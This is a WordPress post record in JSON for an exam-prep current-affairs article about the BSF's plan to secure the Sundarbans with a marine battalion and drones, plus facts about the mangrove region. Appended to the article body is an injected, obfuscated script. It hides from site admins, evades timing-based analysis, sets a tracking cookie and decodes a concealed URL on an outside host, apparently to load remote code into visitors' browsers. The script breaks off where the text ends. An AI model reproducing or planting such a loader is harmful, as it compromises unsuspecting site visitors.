{"id":595,"date":"2023-12-19T06:16:26","date_gmt":"2023-12-19T06:16:26","guid":{"rendered":"https:\/\/iasquest.com\/?p=595"},"modified":"2026-02-11T19:25:59","modified_gmt":"2026-02-11T19:25:59","slug":"bsf-plans-marine-battalion-drone-squadron-to-secure-sundarbans-against-infiltrationsmuggling","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/bsf-plans-marine-battalion-drone-squadron-to-secure-sundarbans-against-infiltrationsmuggling\/","title":{"rendered":"BSF plans marine battalion, drone squadron to secure Sundarbans against infiltration, smuggling."},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>A marine battalion comprising more than 1,100 personnel, a squadron of about 40 drones and all-terrain vehicles (ATVs) are part of a plan devised by the BSF to secure the strategic Sundarbans mangrove region along the India-Bangladesh border against smuggling and infiltration.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About The Sundarbans<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Sundarbans is a mangrove area in the delta formed from sediments deposited by three great rivers: <strong>the Ganges, Brahmaputra, and Meghna <\/strong>while covering the Bengal Basin.<\/li>\n\n\n\n<li>This land has been shaped by tidal action, resulting in a distinct physiology, as part of the <strong>world&#8217;s largest delta.<\/strong><\/li>\n\n\n\n<li>Sundari trees can be found in large numbers all over the forest which gives them their name.<\/li>\n\n\n\n<li>It is the only mangrove forest in the world inhabited by tigers.<\/li>\n\n\n\n<li>It was designated a <strong>UNESCO World Heritage site in 1987.<\/strong><\/li>\n\n\n\n<li>Sunderbans was designated as a <strong>Biosphere Reserve by UNESCO in 2001.<\/strong><\/li>\n\n\n\n<li>Sundarbans Wetland, India was recognized as the <strong>\u2018Wetland of International Importance\u2019<\/strong> under the Ramsar Convention in January 2019.<\/li>\n\n\n\n<li>It is home to many rare and globally threatened wildlife species such as the <strong>Estuarine Crocodile, Royal Bengal Tiger, Water Monitor Lizard, Gangetic Dolphin and Olive Ridley Turtles.<\/strong><\/li>\n\n\n\n<li><strong>About Mangroves<\/strong>\n<ul class=\"wp-block-list\">\n<li>Mangroves are the plant communities occurring in <strong>inter-tidal zones <\/strong>along the coasts of tropical and subtropical countries.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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